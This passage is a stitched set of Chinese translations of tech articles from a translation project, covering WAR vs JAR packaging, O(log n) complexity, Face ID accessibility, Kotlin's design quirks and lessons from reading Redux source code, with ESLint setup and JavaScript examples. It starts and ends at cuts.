配置文件](https://github.com/madewithlove/webpack-config) ================================================ FILE: TODO/what-archive-format-should-you-use-war-or-jar.md ================================================ > * 原文地址:[What Archive Format Should You Use, WAR or JAR?](https://dzone.com/articles/what-archive-format-should-you-use-war-or-jar) > * 原文作者:[Nicolas Frankel](https://dzone.com/users/293758/nfrankel.html) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-archive-format-should-you-use-war-or-jar.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-archive-format-should-you-use-war-or-jar.md) > * 译者:[windmxf](https://github.com/windmxf) > * 校对者:[lsvih](https://github.com/lsvih), [LeviDing](https://github.com/leviding) # WAR 还是 JAR,你应该用哪种格式打包? 以前,内存和磁盘都是稀缺资源。在那时,比较常见的方案是把不用的应用程序部署在同一个平台上。那是应用服务器的黄金时代。我早期写过一篇文章,说的是当前存储资源趋于廉价会使应用服务器在一段时间内过时。然而,有一种技术趋势让应用服务器重新回归主流。 在基础设施昂贵的情况下,拥有一台应用服务器是一件很棒的事情,通过应用程序共享可以大大降低成本。但缺点是,这种方法需要深入地了解每个共享相同资源的应用程序的负载情况,还需要资深的系统管理员来部署应用程序,他们需要保证程序在服务器的兼容性。然而对于老一辈人来说,难道仅仅因为某个应用程序的资源管理没做好,就只能让它单独运行吗?当基础设施成本降低时,每个服务器只部署一个应用程序的做法变得很普遍。那时,人们下一步考虑的是为什么仍然需要将应用程序服务器作为专用组件。看上去 Spring 团队也得到了相同的结论,因为 Spring Boot 应用的默认模式就是打包成一些可执行的 jar 包,我们称其为 Fat JARs。这些应用程序可以通过“java -jar fat.jar”的命令运行。因此有句名言: “用 JAR 包,而不是 WAR 包” - Josh Long 我并不完全同意这个观点,我认为这个观点会让大多数团队失去应用服务器管理方面的专业知识。不过,一个支持 Fat JARs 的有力证据表明,自从使用 booting 技术管理应用程序,加载 java 类变得非常容易。例如,使用开发工具,Spring Boot 为两种类加载器(classloader)提供了同一种处理机制,一种类加载器对应类库,另一种对应 java 类,所以重新加载一个修改过的类是不需要重启整个 jvm — 这个简洁的技巧让代码的更新迭代变得快捷方便。 如果我们认为,应用服务器提供商仍在使用传统方式来处理任务的话,那就错了——多谢 Ivar Grimstad 让我想到 了这个问题(这是一个访谈的好理由,虽然你不一定对会议感兴趣)。Wildlfy、TomEE,以及其他应用服务器提供商都使用 Fat JARs 打包,但他们和我们有个很大的区别:他们不使用 Spring 之类的开发工具,所以每当修改代码都需要重启整个服务器。让代码快速生效的唯一方法就是在底层进行开发工作,例如为团队购买正版的 JRebel。然而,现在还有一个理由让我们选用 WAR 包,那就是使用 Docker。通过提供一个普通的应用服务器以及 Docker 映象作为基础映象,在上面加一个 WAR 包就能轻松得到 WAR 包镜像。目前 JAR 包(暂时)还不能通过这种方式实现。 请注意这里并不是在比较 Spring Boot 和 JavaEE,而是在比较 JAR 和 WAR,因为用 Spring Boot 可以完美地打出这两种类型的包。我前面提到现在还有一个问题,那就是当代码修改之后还是需要重启整个 JVM,而不能仅仅重载 java 类 — 但我相信这个问题迟早会解决。 选择用 WAR 包还是 JAR 包最终取决于公司的实际情况,看公司是更看中开发的快速反馈迭代,还是更看重 Docker 映像的优化与管理。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/what-does-the-time-complexity-o-log-n-actually-mean.md ================================================ > * 原文地址:[What does the time complexity O(log n) actually mean?](https://hackernoon.com/what-does-the-time-complexity-o-log-n-actually-mean-45f94bb5bfbf) > * 原文作者:[Maaz](https://hackernoon.com/@maazrk) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[cdpath](https://github.com/cdpath) > * 校对者:[zaraguo (zaraguo)](https://github.com/zaraguo), [whatbeg (Qiu Hu)](https://github.com/whatbeg) # 时间复杂度 O(log n) 意味着什么? ![](https://cdn-images-1.medium.com/max/1000/1*IIKt9oYIhWsUQmsKoRZorQ.jpeg) 预先知道算法的复杂度是一回事,了解其后的原理是另一件事情。 不管你是计算机科班出身还是想有效解决最优化问题,如果想要用自己的知识解决实际问题,你都必须理解时间复杂度。 先从简单直观的 O(1) 和 O(n) 复杂度说起。O(1) 表示一次操作即可直接取得目标元素(比如字典或哈希表),O(n) 意味着先要检查 n 个元素来搜索目标,但是 O(log n) 是什么意思呢? 你第一次听说 O(log n) 时间复杂度可能是在学二分搜索算法的时候。二分搜索一定有某种行为使其时间复杂度为 log n。我们来看看是二分搜索是如何实现的。 因为在最好情况下二分搜索的时间复杂度是 O(1),最坏情况(平均情况)下 O(log n),我们直接来看最坏情况下的例子。已知有 16 个元素的有序数组。 举个最坏情况的例子,比如我们要找的是数字 13。 ![](https://cdn-images-1.medium.com/max/800/1*2zmw8UA3Ju93DskOT2ja0A.png) 十六个元素的有序数组 ![](https://cdn-images-1.medium.com/max/800/1*dONXkX6pcZlJsW4pJT2a4w.jpeg) 选中间的元素作为中心点(长度的一半) ![](https://cdn-images-1.medium.com/max/800/1*ZGG_EHsm4F-4ESE4jH4Kqg.jpeg) 13 小于中心点,所以不用考虑数组的后一半 ![](https://cdn-images-1.medium.com/max/800/1*ePal2Rfl88eRGFPnvXKFIw.jpeg) 重复这个过程,每次都寻找子数组的中间元素 ![](https://cdn-images-1.medium.com/max/800/1*fJX4YoVfImQvQlWN4CRgsg.jpeg) ![](https://cdn-images-1.medium.com/max/800/1*1dJ8urBmYpKiGzyNZbwd8w.jpeg) 每次和中间元素比较都会使搜索范围减半。 所以为了从 16 个元素中找到目标元素,我们需要把数组平均分割 4 次,也就是说, ![](https://cdn-images-1.medium.com/max/800/1*4wH4sn6FBsAPnVHjIMdhTA.png) 简化后的公式 类似的,如果有 n 个元素, ![](https://cdn-images-1.medium.com/max/800/1*b4wakMYiYlBXb99b-eYJ9w.png) 归纳一下 ![](https://cdn-images-1.medium.com/max/800/1*XwWCLuB2Zb0zQjSQo7wpbQ.png) 分子和分母代入指数 ![](https://cdn-images-1.medium.com/max/800/1*lHNSYMPysioxVc38BvokAw.png) 等式两边同时乘以 2^k ![](https://cdn-images-1.medium.com/max/800/1*y10tlmCach8Uefc3n3d5aA.png) 最终结果 现在来看看「对数」的定义: > 为使某数(底数)等于一给定数而必须取的乘幂的幂指数。 也就是说可以写成这种形式 ![](https://cdn-images-1.medium.com/max/800/1*qVSjYPYo9t4QNoLP8FZFWw.png) 对数形式 所以 log n 的确是有意义的,不是吗?没有其他什么可以表示这种行为。 就这样吧,我希望我讲得这些你都搞懂了。在从事计算机科学相关的工作时,了解这类知识总是有用的(而且很有趣)。说不定就因为你知道算法的原理,你成了小组里能找出问题的最优解的人呢,谁知道呢。祝好运! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/what-face-id-means-for-accessibility.md ================================================ > * 原文地址:[What Face ID Means for Accessibility](https://www.stevensblog.co/blogs/what-face-id-means-for-accessibility?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning) > * 原文作者:[steven](https://www.stevensblog.co) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-face-id-means-for-accessibility.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-face-id-means-for-accessibility.md) > * 译者:[winry](https://github.com/winry01) > * 校对者:[Ziheng Gao](https://github.com/noahziheng) [Yong Li](https://github.com/NeilLi1992) # FACE ID 对易用性意味着什么 当苹果在 2013 年 iPhone 5s 中引入 Touch ID 时,我写了 [一篇](https://medium.com/@steven_aquino/on-touch-id-and-accessibility-eff1391cff91) 有关指纹识别在易用性方面的改善的文章。其中一部分我写到: > 我了解到的 Touch ID 正是通过简单的使用拇指(或其它手指)的指纹替代密码来解锁他们的手机,从而帮助人们解决前述的运动灵敏度问题。更特别的是,Touch ID 使使用者免于手动输入密码的困扰。 > > 我的看法与其说是关于便利性(的确很棒)倒不如说是可用性。我知道许多有视力和运动问题的人会抱怨 iOS 的密码输入,因为这不仅需要时间,而且输入密码也不是一件容易的事情。事实上,不少人不止抱怨,甚至彻底取消了密码,因为这样做非常耗时,而且很痛苦(有时候这毫不夸张)。 四年后,iPhone X 上 Face ID 的诞生象征着生物识别的安全性进入下一个阶段。这也是很特别很出色的,尽管在安全性,便利性**和**易用性方面 Touch ID 同样优秀,但 Face ID 甚至更好。[在我短暂的 iPhone X 使用体验中](https://www.stevensblog.co/blogs/my-first-week-with-iphone-x),我已经发现 Apple 的面部识别技术几乎可以在任何领域击败 Touch ID 。更别提我能**用我的脸**来解锁我的手机和购物是多么酷炫的事情。 生活在前沿技术的时代很有趣。 ## 面对我的 Face ID 难题 在我的第一印象中,我注意到 iPhone X 上的 Face ID 是迄今为止这台设备上「最赞」的特性。它启发我认识到我是一个特例。自我使用苹果产品以来,这是第一次我感觉到自己被迫适应技术,而不是让技术适应我。 困难在于,我有一种特殊状况称为 [斜视](https://en.wikipedia.org/wiki/Strabismus),就是一个或两个眼睛不能直看。对我来说,是左眼 —— 巧合的是,也是我的主力眼 —— 似乎对 TrueDepth 相机系统造成了混乱。在我最初尝试设置 Face ID 时,我不能用 Face ID 来解锁我的电话。设置过程很顺利 —— Face ID 成功地获取到我的脸部,但是,当我再一次解锁电话或登录应用程序如「1Password」时它不能识别到我。这很让人沮丧。 由于 Face ID **是** iPhone X 的最重要的功能,这体验很不好。 经过一些错误定位,总算有了一个解决方案。通过一些测试,我判断我是属于无法通过「眼神交流」来使 iPhone X 正常工作的特殊用户之一。因此,解决的办法是去 Face ID 的设置并关闭「注视感知功能」功能(「设置」>「面容 ID 与密码」>「注视感知功能」)。通过禁用「注视感知功能」,Face ID 如臂使指。完成诸如解锁我的手机,登录「1Password」和苹果支付等任务都是很轻松的。 唯一需要注意的是,我仍然不习惯把手机放在足够远的地方让 Face ID 可以读取到我的脸部信息。由于我的视力低,需要靠近看,我会本能地把手机靠近我的脸。Face ID 显然不能在这个角度识别我,所以我倾向于使用接触,你无法使劲「摇头」登录。我拥有 iPhone X 仅有两周,所以还要花费更多的时间来开发新的肌肉记忆。不过,我可以解决这个问题,因为我知道这个技术没有问题,苹果也不会给我一个修复过的特殊版本,正如我最初担心的那样。一切都按照预期设计地工作 —— 我只需要学习新的习惯。 特别是 iPhone X,背负着十年的 iPhone 使用习惯要忘却。 ## 为什么 Face ID 击败了 Touch ID 所以什么使 Face ID 比 Touch ID更易用? 其中一点,设置速度要快得多,而且更不费力。虽然录入 Touch ID 一点也不困难,但速度相对较慢并且「要求精确」。iOS 提示你这样那样移动手指,并且当你不按照它的指示操作时会出现问题。如果你是一个精细运动技能有限的人,那么 Touch ID 的设置就是一种痛苦。 相反,设置 Face ID 至少**感觉**更合理更简洁。正如苹果给我描述的一样,移动你的头「像你在用你的脸画一个圈」,对于有点 “非精细运动技能” 受限的人来说可能很困难,但有一个易用性选项来省略这一步骤。(系统将以固定的角度进行单次拍摄,而不是移动头部以获取深度图。)如果对你来说转动脑袋不太可能或很烦,苹果也通过设置界面覆盖了你这样的用户。虽然,Touch ID 并不差,但我发现,设置 Face ID 比以前更简单快捷。这当然都是因为苹果数年研究用户数据和微调 BiometricKit 的缘故。 除了设置之外,面部识别的另一个优势在于它的存在为许多残疾用户消除了不便(Touch ID 传感器)。不管 Touch ID 有多易用,需要触碰和/或按动对很多人而言仍是麻烦。现在人们要做的只是**注视**他们的手机,而无需再用触碰来授权一切。。这无疑也是方便的,但重要的是从易用性角度看,面部意味着自由。自由是指有一个更好的依赖于技术的前进方向,也意味着减少可能的障碍。 苹果公司在 iOS 平台上基于硬件和软件方面建立了 Face ID ,使得使用 iPhone 在许多方面具有真正意义上的「免提」体验。这还不用提其它独立的辅助功能,如开关控制或AssistiveTouch。这对具有身体缺陷,即使最基础的任务(例如,解锁一个设备)都无法完成的用户,包括我自己来说,确实是巨大的改进。就像许多与易用性相关的话题一样,那些被认为是理所当然的小事总是在塑造积极体验方面产生最大的变化。 ## 关于 Face ID 和苹果支付 作为一种无障碍的支付方式,我写下了([这篇](http://m.imore.com/apple-pay-and-empowering-nature-inclusive-design) 和 [这篇](http://www.imore.com/apple-watch-makes-apple-pay-even-better-accessibility))来赞美苹果支付。自 2014 年首次亮相以来,我一直使用它,但仍然惊讶它做的很棒。这真是一个神奇的服务。 在 iPhone X 上的 Face ID 将苹果支付带向了下一个级别。我在 iPhone X 上为数不多的几次苹果支付的使用中(为了支付 Lyft 乘车),Face ID 提供了更加无缝的体验。与解锁一样,苹果支付与 Face ID 绑定的优势在于确认您的购买。(双击侧按钮启动即可。)它的免提性意味着我不必担心让我的拇指处于正确的位置,或者花时间等待授权。 因为我是 Apple Watch 的佩戴者,尽管苹果支付在手机上很好,但我不经常在 iPhone 上使用这项服务。在我的手腕上使用更好,但我很高兴苹果让手势在各种设备上更加一致。不论如何,我**确实**在 iPhone 上使用苹果支付时,Face ID 使得它更快,更容易,更易于使用。 ## 关于 Touch ID API 的简要说明 值得一提的是,我相信公共的 Touch ID/Face ID API 在易用性上有很大影响。对我来说,出乎意料的好。 原因在于,通过让开发人员将生物识别技术整合到应用程序中,苹果正在有效地确保第三方应用程序更易于访问。我仍然同意 Marco Arment 的看法 [认为公司应该把易用性作为应用程序审查的一个重点](https://marco.org/2014/07/10/app-review-should-test-accessibility),但就目前而言,仅仅是 App Store 中的应用能够调用生物识别功能这一事实,已经使他们在易用性方面立于不败之地。我已经能够使用我的拇指(现在我的脸)进入我的「1Password」,意味着应用程序已经很容易访问,甚至无需评价其它设计细节。这样肯定胜过每次都输入一个密码。 当然 [许多开发者需要做的是](http://techcrunch.com/2014/08/02/reuters-rebuttal/) 确保他们的应用程序是所有人可以访问的,但是这些 API 肯定会让他们和用户遥遥领先。这并不是微不足道的,苹果在认识到这方面好处上可能很有先见之明,这是值得赞扬。 这是该工具包的一个重要补充。 ## (无障碍)智能手机的未来 现在每个拥有 iPhone X 的人都仍然处于蜜月期,时间会告诉你随着设备的老化而变化的感觉。我自己用到目前为止,我很清楚,苹果用这样一种方式来创造 iPhone X,使得智能手机更加易用的「未来」是可以实现的。 iPhone X 取得了很多的飞跃,但 Face ID 仍是最大的。 它比配备了广受赞誉的 Touch ID 功能的前代产品更为出色。从我的角度来看它还需要一些必要的调整,但但我仍对 Face ID 赞不绝口。这实在是愉快的,可靠的,易用的。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-i-hate-in-kotlin.md ================================================ > * 原文地址:[What do I hate in Kotlin](http://marcinmoskala.com/kotlin/2017/05/31/what-i-hate-in-kotlin.html) > * 原文作者:[Moskala Marcin](http://marcinmoskala.com/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Zhiw](https://github.com/Zhiw) > * 校对者:[stormrabbit](https://github.com/stormrabbit),[yazhi1992](https://github.com/yazhi1992) 我爱 Kotlin。这是我学习过最棒的语言,并且这两年多的时间,我很享受用它来写应用。尽管如此,就像最好的老婚姻一样,我有一大堆讨厌的东西并且我知道大多数不会改变。它们大多数也不算大问题,也不容易让人陷入困境。不过,它们一直存在,是 Kotlin 美中不足之处。 # Java 的流毒 在 Kotlin 中,你不能定义这两个函数: ``` fun foo(strings: List) {} fun foo(ints: List) {} ``` 这是因为他们两个都有相同的 JVM 签名。这不是 Kotlin 的问题,而是将他们编译成 Java 字节码的结果。这只是 Java 的流毒影响 Kotlin 执行的一种方式。但是这里还有更大的问题。例如,[拓展是静态解析](https://kotlinlang.org/docs/reference/extensions.html#extensions-are-resolved-statically)。这是一个大问题,我希望写一整篇文章来单独讨论这个问题。现在,它仅仅是个问题而且不直观。事实上,它就是这样设计的,因为这样拓展函数被简单地编译为一个接受第一个参数的静态函数。现在需要在 Kotlin/JavaScript 和 Kotlin/Native 中以相同的方式实现。可以,这很 Java。 # 减号运算符问题和其他不明确的操作结果 让我们来看一下这个操作: ``` println(listOf(2,2,2) - 2) // [2, 2] ``` 结果是很直观的,我们从 list 中移除了该元素,因此我们得到一个没有该元素的 list。现在让我们来看一下这个表达式: ``` println(listOf(2,2,2) - listOf(2)) ``` 结果是什么?空的 list!非常不直观,并且我 [一年前报告了该问题](https://youtrack.jetbrains.com/issue/KT-11453)。但是得到的回复是“它就是这么设计的”。是的,函数说明如下: ``` /* // 去除给定的集合中所包含的元素后,返回原集合。 */ ``` 但是这并没有提高程序的可读性。这还只是不直观的一个例子。让我们来看一些更不直观的结果: ``` "1".toInt() // 1 - parsed to number '1'.toInt() // 49 - its ASCII code ``` 这是正确的,但同时奇怪的是,请注意以下表达式的结果是 true。 ``` "1".toInt() != '1'.toInt() "1".toInt() != "1"[0].toInt() ``` 虽然 `String` 中任何非数字的字符都会导致 `NumberFormatException`,但对于返回 null 的 String 也有 `toIntOrNull` 函数。我认为这个函数首先应该命名为另外一种方式更好,或许是 `parseInt`? 让我们看一下另外一件事情,但这个更为复杂:(感谢 [Maciej Górski](https://github.com/mg6maciej) 的展示)。 ``` 1.inc() // 2 1.dec() // 0 -1.inc() // -2 -1.dec() // 0 ``` 后面两个结果很奇怪,难道不是吗?原因是 `-` 不是数字的一部分,而是 Int 的一元拓展函数。这就是为什么后面两行和下面的是相同的: ``` 1.inc().unaryMinus() 1.dec().unaryMinus() ``` 这也是这么设计的,并且这也不会改变。另外一些人会讨论这该如何如何。让我们假设在 Int 后面加了空格: ``` - 1.inc() // -2 - 1.dec() // 0 ``` 现在这看起来就合理了。这应该怎么使用呢?数字应该和 `-` 一起在括号里面。 ``` (-1).inc() // 0 (-1).dec() // -2 ``` 从理性的角度来看,这没问题,但是我认为每个人都会觉得 `-2` 应该是一个数字,而不是 `2.unaryMinus()`。 # 孤立主义 Kotlin 有很多适用于任何对象的拓展(比如 let, apply, run, also, to, takeIf, …),我看到很多具有创造力的用法。在 Kotlin 中,你可以将以下定义: ``` val list = if(student != null) { getListForStudent(student) } else { getStandardList() } ``` 替换为: ``` val list = student?.let { getListForStudent(student) } ?: getStandardList() ``` 这样代码更少而且看起来更棒。另外,当添加其他条件时,我们依然可以使用: ``` val list = student?.takeIf { it.passing }?.let { getListForStudent(student) } ?: getStandardList() ``` 但是这个真的比以前简单的 if 条件更好吗? ``` val list = if(student != null && student.passing) { getListForStudent(student) } else { getStandardList() } ``` 我不置可否,但事实上,这种刻意使用 Kotlin 拓展实现的代码,对于没有使用过 Kotlin 的开发者来说是非常晦涩和抽象的。这种特性让 Kotlin 对于初学者来说变得很困难。Kotlin 的协程变化很大,这是一个很棒的特性。当我开始学习它的时候,我一整天都在重复“不可思议”和“哇”。Kotlin 协程(Coroutines)让多线程操作变得如此简单,非常棒。我觉得编程一开始就应该这么设计。不过,搞清楚 Kotlin 协程依然是一件很复杂的事情,并且它与其它技术的实现方式相去甚远。如果社区开始广泛使用协程,这又会是其它语言的开发者入门的另一个障碍。这就导致了孤立。并且我觉得这太早了。现在 Kotlin 在 Android 和 Web 方面变得越来越受欢迎,而且它刚刚开始在 JavaScript 和 native 中使用。我认为这种多样化对 Kotlin 来说愈发重要,并且 Kotlin 的具体功能介绍应该稍后开始。现在,Kotlin\JavaScript 和 Kotlin\Native 依然有很多工作要做。 # 元组 VS 单一抽象方法 [Kotlin 放弃了元组](https://blog.jetbrains.com/kotlin/migrating-tuples/),并且只留下 `Pair` 和 `Triple`。因为应该使用数据类(date class)代替元组。这有什么不同呢?数据类包含其命名,以及其所有的属性的命名。除此之外,它可以像元组一样使用: ``` data class Student( val name: String, val surname: String, val passing: Boolean, val grade: Double ) val (name, surname, passing, grade) = getSomeStudent() ``` 同时,Kotlin 通过生成包含 lambda 方法而不是 Java 单一抽象方法(SAM:Simple Abstract Method)的 lambda 构造函数和方法来添加对 Java 单一抽象方法的支持: ``` view.setOnClickListener { toast("Foo") } ``` 但是在 Kotlin 中定义的单一抽象方法不起作用,因为它建议使用函数类型。单一抽象方法和函数类型有什么不同呢?单一抽象方法包含名称,并且其所有参数的命名。从 Kotlin 1.1 开始,函数类型可以通过 typealias(类型别名)实现: ``` typealias OnClick = (view: View)->Unit ``` 但我仍然觉得这缺乏对称性。如果强烈建议使用数据类,并禁止元组,那么为什么建议使用函数类型而不是单一抽象方法,并且 Kotlin 不支持单一抽象方法。可能的答案是元组会在现实生活的项目产生更多的问题。JetBrains 有很多关于语言用法的数据,他们知道如何分析它。他们非常了解 lambda 语言特性如何影响开发,并且我猜他们知道他们在做什么。我只是基于我的直觉,如果程序员可以决定是否要使用元组或数据类,那将会更好。而且这样显得不孤立,因为大多数现代语言都引入了元组。 # 总结 事实上,这只是一些小事情。与 JavaScript,PHP 或 Ruby 中存在的问题相比根本不算什么。Kotlin 从一开始就精心设计,是很多问题的解决方案。只有一些小东西不够好。 至少这几年,Kotlin 仍然是,也将是,我最喜欢的语言。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/what-i-learned-from-reading-the-redux-source-code.md ================================================ > * 原文地址:[What I learned from reading the Redux source code](https://medium.freecodecamp.org/what-i-learned-from-reading-the-redux-source-code-836793a48768) > * 原文作者:[Anthony Ng](https://medium.freecodecamp.org/@newyork.anthonyng?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-i-learned-from-reading-the-redux-source-code.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-i-learned-from-reading-the-redux-source-code.md) > * 译者:[缪宇](https://juejin.im/user/57df39fca0bb9f0058a3c63d/posts) > * 校对者:[anxsec](https://github.com/anxsec) [轻舞飞扬](https://github.com/FateZeros) # 我们能从 Redux 源码中学到什么? ![](https://cdn-images-1.medium.com/max/2000/1*BpaqVMW2RjQAg9cFHcX1pw.png) 我总是听人说,想拓展开发者自身视野就去读源码吧。 所以我决定找一个高质量的 JavaScript 库来深入学习。 我选择了 [Redux](https://github.com/reactjs/redux),因为它的代码比较少。 这篇文章不是 Redux 教程,而是阅读源码后的收获。如果你对学习 Redux 感兴趣,强烈推荐你去看 [Redux 教程](https://egghead.io/courses/getting-started-with-redux),这个系列文章是 Redux 的作者 Dan Abramov 写的。 ### 从源码中学习 一些新来的开发者经常问我,怎样才是最好的学习方式?我往往会告诉他们在项目中学习。 当你构建一个项目来实践你的想法时,由于你对它的热爱,会让你度过难熬的 debug 阶段,即使遇到困难也不会放弃。这是一个非常神奇的现象。 但是一个人闭门造车也是有问题的。你不会注意到你开发过程中的坏习惯,你也学不到任何最优的解决方案。你可能都不知道又出了哪些新的框架和技术。在独自写项目的过程中,你很快会发现你的技能达到瓶颈。 只要有可能,我建议你找些小伙伴和你一起开发。 试想一下,坐在你旁边的小伙伴(如果你够幸运,他恰好是个大神),你可以观察他思考问题的过程。你可以看他是如何敲代码的。你可以看他是如何解决算法问题的。你可以学到新的开发工具和快捷键。你会学到许多你一个人开发时学不到的东西。 ![](https://cdn-images-1.medium.com/max/800/1*p7CG3FIp5uxS5GYkJnPJzw.jpeg) 斯特拉迪瓦里小提琴。 我用斯特拉迪瓦里的小提琴举个例子。斯特拉迪瓦里小提琴以出色的音质闻名世界,在业界可以说是一枝独秀。许多人尝试用各种方法去解释为什么它这么牛逼,从古老教堂抢救出来的木材到特殊的木材的防腐剂。许多人想要复制一把斯特拉迪瓦里小提琴,结果都失败了,因为他们不知道安东尼·斯特拉迪瓦里到底是怎么做的。 设想一下,如果你和安东尼·斯特拉迪瓦里在一个房间里工作,那么所有的独门秘籍你都可以学到。 这下你知道该如何与你的开发小伙伴相处了吧。你只需要安静的坐他旁边,看着他写出一行行斯特拉迪瓦里式的代码。 对于与多人来说,协同编程是一个很好的机会,可以通过别人的代码学到很多东西。 阅读高质量的代码就像读一本精彩的小说一样,比起直接和作者交流,你可能理解起来比较困难。但是你可以通过看注释和代码,获取到有价值的信息。 对于那些认为看源码没什么用的同学,你可以去看一个故事,一个叫比尔·盖茨的高中生,为了了解某个公司的机密,他甚至去翻人家的垃圾桶找源码。 如果你也可以像比尔·盖茨那样不厌其烦的看源码,那还在等什么?找一个 github 仓库,看源码吧! ![](https://cdn-images-1.medium.com/max/800/1*ZUdEQv1ZgNGknJuzof9SDQ.jpeg) 咦,源码呢? 阅读源码的同时,你也可以去看官方文档,官方文档的结构就像作者写的代码一样,写得好的官方文档就让你仿佛坐在作者旁边一样。你也可以在上面看到别人遇到的问题。官方文档中的超链接提供了丰富的扩展阅读的资源。在评论区你还可以和大神一起交流。 平时我也会在 YouTube 看别人写代码,我推荐大家去看[SuperCharged 直播写代码系列](https://www.youtube.com/watch?v=rBSY7BOYRo4),来自 Google Chrome 开发者的 Youtube 频道。看两个 Google 工程师直播写一个项目,看他们是如何处理性能问题的,和大家一样,他们也会被自己拼写错误导致的 bug 卡住。 ### 读 Readux 源码的收获 #### ESLint Linting 用于检查代码,发现潜在的错误。它帮助我们保持代码风格的一致性和整洁。你可以自己定制规则,也可以用预设的规则(比如 Airbnb 提供的规则)。 Linting 在团队开发中特别有用。它让所有代码看起来像一个人写的。它可以强迫开发人员按照公司的代码风格来写代码(同事不用在阅读代码上花太多时间)。 Linters 不仅仅是为了美观,它会让你的代码更符合语言特性。比如它会告诉你什么时候使用 “const” 关键字来处理那些没有被重新赋值的变量。 如果你使用了 React 插件,它会警告你关于组件可以被重构成无状态的函数式组件。也是可以让你学习 ES6 语法,告诉你的某段代码可以用语法新特性来写。 在你的项目中轻松使用 ESlint: 1. 安装 ESlint。 ``` $ npm install --save-dev eslint ``` 2. 配置 ESlint。 ``` ./node_modules/.bin/eslint --init ``` 3. 在你的 package.json 文件中设置 npm 脚本来运行你的 Linter(可选)。 ``` "scripts": { "lint": "./node_modules/.bin/eslint" } ``` 4. 运行 Linter. ``` $ npm run lint ``` 查看[它们的官方文档](http://eslint.org/docs/user-guide/getting-started),了解更多。 许多编辑器也有插件来检查你的代码。 有些时候 Linter 会对一些正确的代码报错,比如 console.log。你可以告诉 Linter 忽略这行代码,不对其进行检查。 在 ESlint 中忽略检查,你可以这样写代码注释: ``` // 忽略一行 console.log(‘Hello World’); // eslint-disable-line no-console // 忽略多行 /* eslint-disable no-console */ console.log(‘Hello World’); console.log(‘Goodbye World’); /* eslint-enable no-console */ ``` #### 检查代码是否被压缩了 在源码中我发现一个 “isCrushed()” 的空函数,很奇怪。 后来我发现它的目的是为了检查代码是否被压缩了。在代码压缩过程中,函数名字和变量会被缩写。当你在开发的时候如果使用了压缩后的代码,如果一个条语句被检测到仍然有 “isCrushed()” 存在,就会有警告提示。 #### 不要害怕报错 在学习 Redux 源码之前我很少在代码中抛异常。JavaScript 是一个弱类型,所以我们不知道函数中传入参数的类型。所以我们必须要像强类型语言那样对于错误要抛出异常。 使用 `try…catch…finally` 语句来抛出异常。这样做可以方便你 debug,以及理清代码逻辑。 在控制台中产生的错误,可以很方便堆栈跟踪。 ![](https://cdn-images-1.medium.com/max/800/1*03Y3lQPmF8Hl1pNMvm4Fsg.png) 很有用的栈跟踪。 做异常信息处理让你的代码逻辑清晰。比如,如果有一个 "add()" 函数,只允许传入数字,如果传入的不是数字就要抛出异常。 ``` function add(a, b) { if(typeof a !== ‘number’ || typeof b !== ‘number’) { throw new Error(‘Invalid arguments passed. Expected numbers’); } return a + b; } var sum = add(‘foo’, 2); // 抛出异常后会终止代码执行 ``` #### 组合函数 源码中有一个 “compose()” 函数,根据已有的函数构建出新的函数: ``` function compose(…funcs) { if (funcs.length === 0) { return arg => arg } 